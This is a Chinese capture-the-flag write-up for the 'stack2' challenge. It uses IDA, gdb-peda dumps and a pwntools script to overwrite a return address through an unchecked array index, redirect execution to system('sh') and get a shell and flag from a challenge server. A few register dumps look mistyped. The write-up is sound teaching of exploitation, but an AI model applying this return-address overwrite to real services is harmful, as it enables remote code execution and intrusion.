

stack2

哈，我又回来了 在借助了诸多 wp 后终于把这道题弄明白了，记录一下

```
root@ubuntu:~# checksec stack2
[*] '/root/stack2'
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      Canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
root@ubuntu:~#
```

32 位程序，有 NX，有 Canary。

```
root@ubuntu:~# ./stack2
*****
*
*               An easy calc
*
*Give me your numbers and I will return to you an average *
*(0 <= x < 256)
*****
How many numbers you have:
1
Give me your numbers
1
1. show numbers
2. add number
3. change number
4. get average
5. exit
5
root@ubuntu:~#
```

运行可以发现它可以创建一个存储数字的数组，创建好以后我们可以对其中的数据进行一些基本的操作，ok，接下来开始硬刚 IDA


```

.text:08048671      push    offset aHowManyNumbers ; "How many numbers you have:"
.text:08048676      call    _puts
.text:0804867B      add     esp, 10h
.text:0804867E      sub     esp, 8
.text:08048681      lea     eax, [ebp+var_90]
.text:08048687      push    eax
.text:08048688      push    offset aD ; "%d"
.text:0804868D      call    __isoc99_scanf
.text:08048692      add     esp, 10h
.text:08048695      sub     esp, 0Ch
.text:08048698      push    offset aGiveMeYourNumb_0 ; "Give me your numbers"
.text:0804869D      call    _puts
.text:080486A2      add     esp, 10h
.text:080486A5      mov     [ebp+var_7C], 0
.text:080486AC      jmp     short loc_80486DB
.text:080486AE      ; -----
.text:080486AE      loc_80486AE: ; CODE XREF: main+11C4j
.text:080486AE      sub     esp, 8
.text:080486B1      lea     eax, [ebp+var_88]
.text:080486B7      push    eax
.text:080486B8      push    offset aD ; "%d"
.text:080486BD      call    __isoc99_scanf
.text:080486C2      add     esp, 10h
.text:080486C5      mov     eax, [ebp+var_88]
.text:080486CB      mov     ecx, eax
.text:080486CD      lea     edx, [ebp+var_70]
.text:080486D0      mov     eax, [ebp+var_7C]
.text:080486D3      add     eax, edx
.text:080486D5      mov     [eax], cl
.text:080486D7      add     [ebp+var_7C], 1
.text:080486DB

```

从汇编中可以看到程序通过 **scanf** 将数据存储到栈中，然后通过 **eax** 和 **ecx** 将数据存储到 **eax** 中存放的地址中去（**cl** 是 **ecx** 的低位）

那意味着在程序运行到 **0x080486D5** 的位置时，此时 **eax** 中存放的即时数组的首地址

linux 下我们用 gdb 调试的看一下

我们在 **0x080486D5** 的位置下个断点，输入点全部输入 1（如下）

```

root@ubuntu:~# gdb ./stack2
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./stack2...(no debugging symbols found)...done.
gdb-peda$ b * 0x080486d5
Breakpoint 1 at 0x080486d5
gdb-peda$ r
Starting program: /root/stack2
*****
*                               *
*           An easy calc        *
*                               *
*Give me your numbers and I will return to you an average *
*                               *
*(0 <= x < 256)                *
*                               *
*****
How many numbers you have:
1
Give me your numbers
1

```

我们来看看此时的各寄存器

```
[-----registers-----]
EAX: 0xffffd5b8 --> 0xe0
EBX: 0x0
ECX: 0x1
EDX: 0xffffd5b8 --> 0xe0
ESI: 0xf7fb5000 --> 0x1b1db0
EDI: 0xf7fb5000 --> 0x1b1db0
EBP: 0xffffd628 --> 0x0
ESP: 0xffffd580 --> 0xf7ffda74 --> 0xf7fd3470 --> 0xf7fd918 --> 0x0
EIP: 0x80486d5 (<main+261>: mov BYTE PTR [eax],cl)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
0x80486cd <main+253>: lea edx,[ebp-0x70]
0x80486d0 <main+256>: mov eax,DWORD PTR [ebp-0x7c]
0x80486d3 <main+259>: add eax,edx
=> 0x80486d5 <main+261>: mov BYTE PTR [eax],cl
0x80486d7 <main+263>: add DWORD PTR [ebp-0x7c],0x1
0x80486db <main+267>: mov edx,DWORD PTR [ebp-0x7c]
0x80486de <main+270>: mov eax,DWORD PTR [ebp-0x90]
0x80486e4 <main+276>: cmp edx,eax
[-----stack-----]
0000| 0xffffd580 --> 0xf7ffda74 --> 0xf7fd3470 --> 0xf7fd918 --> 0x0
0004| 0xffffd584 --> 0x1
0008| 0xffffd588 --> 0xf7fd34a0 --> 0x804832f ("GLIBC_2.0")
0012| 0xffffd58c --> 0x1
0016| 0xffffd590 --> 0x0
0020| 0xffffd594 --> 0x1
0024| 0xffffd598 --> 0x1
0028| 0xffffd59c --> 0xf0b6ff
[-----]
Legend: code, data, rodata, value

Breakpoint 1, 0x080486d5 in main ()
gdb-peda$
```

可以看到此时寄存器 `ecx` 中就是我们输入的 1，而 `eax` 中的地址是 `0xffffd5b8`

我们来验证一下看看我们做的对不对，分别看看这步前后栈中数据的变化

```
gdb-peda$ x/40xw
0xffffd5a0: 0x00000001 0x00000001 0x00000000 0x00000000
0xffffd5b0: 0xffffd5de 0xffffd6dc 0xffffd5e0 0x00000000
0xffffd5c0: 0xf7ffd000 0xf7fd918 0xffffd5e0 0x080482fa
0xffffd5d0: 0x00000000 0xffffd674 0xf7fb5000 0x00009f17
0xffffd5e0: 0xffffffff 0x0000002f 0xf7e0fdc8 0xf7fd31b0
0xffffd5f0: 0x00008000 0xf7fb5000 0xf7fb3244 0xf7e1b0ec
0xffffd600: 0x00000001 0x00000000 0xf7e31a50 0x0804894b
0xffffd610: 0x00000001 0xffffd6d4 0xffffd6dc 0x3781fe00
0xffffd620: 0xf7fb53dc 0xffffd640 0x00000000 0xf7e1b637
0xffffd630: 0xf7fb5000 0xf7fb5000 0x00000000 0xf7e1b637

gdb-peda$ x/40xw
0xffffd5a0: 0x00000001 0x00000001 0x00000000 0x00000000
0xffffd5b0: 0xffffd5de 0xffffd6dc 0x00000001 0x00000000
0xffffd5c0: 0xf7ffd000 0xf7fd918 0xffffd5e0 0x080482fa
0xffffd5d0: 0x00000000 0xffffd674 0xf7fb5000 0x00009f17
0xffffd5e0: 0xffffffff 0x0000002f 0xf7e0fdc8 0xf7fd31b0
0xffffd5f0: 0x00008000 0xf7fb5000 0xf7fb3244 0xf7e1b0ec
0xffffd600: 0x00000001 0x00000000 0xf7e31a50 0x0804894b
0xffffd610: 0x00000001 0xffffd6d4 0xffffd6dc 0x3781fe00
0xffffd620: 0xf7fb53dc 0xffffd640 0x00000000 0xf7e1b637
0xffffd630: 0xf7fb5000 0xf7fb5000 0x00000000 0xf7e1b637
```

运行前

运行后

可以看到 **d5b8** 的位置数据由 **0x000000e0** 变成了 **0x00000001**，说明我们找的没问题，ok，数组首地址找到了。接下来的问题就是如何去找函数的返回地址了，这个就简单的多了，我们知道当函数运行到 **return** 语句的时候，栈顶一定是返回地址。继续用 **gdb** 调试

```
[-----registers-----]
EAX: 0x0
EBX: 0x0
ECX: 0xffffd640 --> 0x1
EDX: 0xf7fb687c --> 0x0
ESI: 0xf7fb5000 --> 0x1b1db0
EDI: 0xf7fb5000 --> 0x1b1db0
ESP: 0x0
SP: 0xffffd63c --> 0xf7e1b637 (<_libc_start_main+247>: add esp,0x10)
EIP: 0x00488f2 (<main+802>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-----code-----]
0x80488eb <main+795>: mov ecx,DWORD PTR [ebp-0x4]
0x80488ee <main+798>: leave
0x80488ef <main+799>: lea esp,[ecx-0x4]
=> 0x80488f2 <main+802>: ret
0x80488f3: xchg ax,ax
0x80488f5: xchg ax,ax
0x80488f7: xchg ax,ax
0x80488f9: xchg ax,ax
[-----stack-----]
0000| 0xffffd63c --> 0xf7e1b637 (<_libc_start_main+247>: add esp,0x10)
0004| 0xffffd640 --> 0x1
0008| 0xffffd644 --> 0xffffd806 ("/root/stack2")
0012| 0xffffd648 --> 0xffffd6dc --> 0xffffd813 ("XDG_SESSION_ID=1")
0016| 0xffffd64c --> 0x0
0020| 0xffffd650 --> 0x0
0024| 0xffffd654 --> 0x0
0028| 0xffffd658 --> 0xf7fb5000 --> 0x1b1db0
[-----]
Legend: code, data, rodata, value
0x00488f2 in main ()
```

通过 **esp** 我们知道这个值是 **0xffffd63c**，和首地址做差是 **0x84**

ok，接下来就可以写 **exp** 了，通过其他师傅的 **wp** 和测试可以知道环境中是没有 **/bin/sh** 的，无伤大雅，我们利用它中间的 **sh** 就行，然后 **rop exp** 如下

```
from pwn import *
#context.log_level = 'debug'

r = remote("111.198.29.45", 54649)
#r = process("./stack2")

r.recvuntil("How many numbers you have:\n")
r.sendline("1")
r.recvuntil("Give me your numbers\n")
r.sendline("1")

def change(addr, num):
    r.recvuntil("5. exit\n")
    r.sendline("3")
    r.recvuntil("which number to change:\n")
    r.sendline(str(addr))
```

```
r.recvuntil("new number:\n")
r.sendline(str(num))

change(0x84, 0x50)
change(0x85, 0x84)
change(0x86, 0x04)
change(0x87, 0x08)
change(0x8c, 0x87)
change(0x8d, 0x89)
change(0x8e, 0x04)
change(0x8f, 0x08)

r.sendline("5")

r.interactive()
```

看看效果

```
root@ubuntu:~# vi a.py
root@ubuntu:~# python a.py
[+] Opening connection to 111.198.29.45 on port 54094: Done
[*] Switching to interactive mode
1. show numbers
2. add number
3. change number
4. get average
5. exit
$ ls
bin
dev
flag
lib
lib32
lib64
stack2
$ cat flag
cyberpeace{21a[REDACTED]b11[REDACTED]25_0b}
$
```

ok 完结，有不清楚的可以留言讨论

最后放一下我的博客（www.sailingplace.cn），有兴趣的可以来看看（萌新的小天地，师傅们别喷哈）